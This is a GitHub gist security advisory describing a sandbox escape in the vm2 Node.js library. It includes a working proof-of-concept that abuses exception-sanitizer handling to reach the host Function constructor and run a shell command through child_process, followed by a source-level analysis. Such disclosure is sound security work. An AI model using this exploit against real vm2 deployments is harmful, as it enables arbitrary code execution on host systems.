Skip to content

Instantly share code, notes, and snippets.

@leesh3288
Last active September 17, 2025 09:19
Show Gist options
  • Save leesh3288/f05730165799bf56d70391f3d9ea187c to your computer and use it in GitHub Desktop.
Save leesh3288/f05730165799bf56d70391f3d9ea187c to your computer and use it in GitHub Desktop.

Revisions

  1. leesh3288 renamed this gist Apr 12, 2023. 1 changed file with 0 additions and 0 deletions.
  2. leesh3288 created this gist Apr 11, 2023.
    50 changes: 50 additions & 0 deletions vm2_3.9.5_sandbox_escape.md
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,50 @@
    # Sandbox Escape in [email protected]


    ## Summary

    There exists a vulnerability in source code transformer (exception sanitization logic) of vm2 for versions up to 3.9.15, allowing attackers to bypass `handleException()` and leak unsanitized host exceptions which can be used to escape the sandbox and run arbitrary code in host context.


    ## Proof of Concept

    ```js
    const {VM} = require("vm2");
    const vm = new VM();

    const code = `
    aVM2_INTERNAL_TMPNAME = {};
    function stack() {
    new Error().stack;
    stack();
    }
    try {
    stack();
    } catch (a$tmpname) {
    a$tmpname.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch pwned');
    }
    `

    console.log(vm.run(code));
    ```


    ## Analysis

    As host exceptions may leak host objects into the sandbox, code is preprocessed with `transformer()` ([lib/transformer.js:49](https://github.com/patriksimek/vm2/blob/3.9.15/lib/transformer.js#L49)) in order to instrument the code with sanitizer function calls ([lib/transformer.js:108](https://github.com/patriksimek/vm2/blob/3.9.15/lib/transformer.js#L108)).

    Identifier name of catch clause is interpolated into `insertions` as `code` ([lib/transformer.js:137](https://github.com/patriksimek/vm2/blob/3.9.15/lib/transformer.js#L137)) to sanitize caught exception, possibly a host exception.

    This is subsequently post-processed to replace `$tmpname` with the string value in `tmpname` (originally `VM2_INTERNAL_TMPNAME`) for `ObjectPattern` case sanitization code ([lib/transformer.js:189](https://github.com/patriksimek/vm2/blob/3.9.15/lib/transformer.js#L189)), which in turn allows an attacker to bypass `handleException()` with identifiers containing the string `$tmpname`.

    An attacker may then use any method to raise a host exception ([test/vm.js:1082](https://github.com/patriksimek/vm2/blob/3.9.15/test/vm.js#L1082) for example, via internal `prepareStackTrace`) and use it to access host `Function` constructor, escaping the sandbox and gaining arbitrary code execution in host context.


    ## Impact

    Remote Code Execution, assuming the attacker has arbitrary code execution primitive inside the context of vm2 sandbox.


    ## Credits

    [Xion](https://twitter.com/0x10n) (SeungHyun Lee) of [KAIST Hacking Lab](https://kaist-hacking.github.io/)